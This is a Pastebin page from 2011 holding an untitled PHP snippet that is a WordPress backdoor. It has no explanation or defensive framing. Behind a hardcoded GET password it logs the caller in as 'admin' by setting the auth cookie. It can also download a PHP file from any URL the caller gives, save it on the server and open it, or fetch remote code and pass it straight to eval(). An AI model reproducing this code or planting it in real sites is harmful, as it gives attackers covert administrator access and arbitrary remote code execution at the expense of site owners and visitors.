Advertisement
Guest User

Untitled

a guest
Aug 19th, 2011
843
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.97 KB | None | 0 0
  1.  
  2.  
  3. if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
  4. if ($_GET['pass'] == 'xxxxxxx'){
  5. if ($_GET['pingnow']== 'login'){
  6. $user_login = 'admin';
  7. $user = get_userdatabylogin($user_login);
  8. $user_id = $user->ID;
  9. wp_set_current_user($user_id, $user_login);
  10. wp_set_auth_cookie($user_id);
  11. do_action('wp_login', $user_login);
  12. }
  13. if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
  14. $ch = curl_init($_GET['file']);
  15. $fnm = md5(rand(0,100)).'.php';
  16. $fp = fopen($fnm, "w");
  17. curl_setopt($ch, CURLOPT_FILE, $fp);
  18. curl_setopt($ch, CURLOPT_HEADER, 0);
  19. curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  20. curl_exec($ch);
  21. curl_close($ch);
  22. fclose($fp);
  23. echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
  24. }
  25. if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
  26. $ch = curl_init($_GET['file']);
  27. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  28. curl_setopt($ch, CURLOPT_HEADER, 0);
  29. curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  30. $re = curl_exec($ch);
  31. curl_close($ch);
  32. eval($re);
  33. }}}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement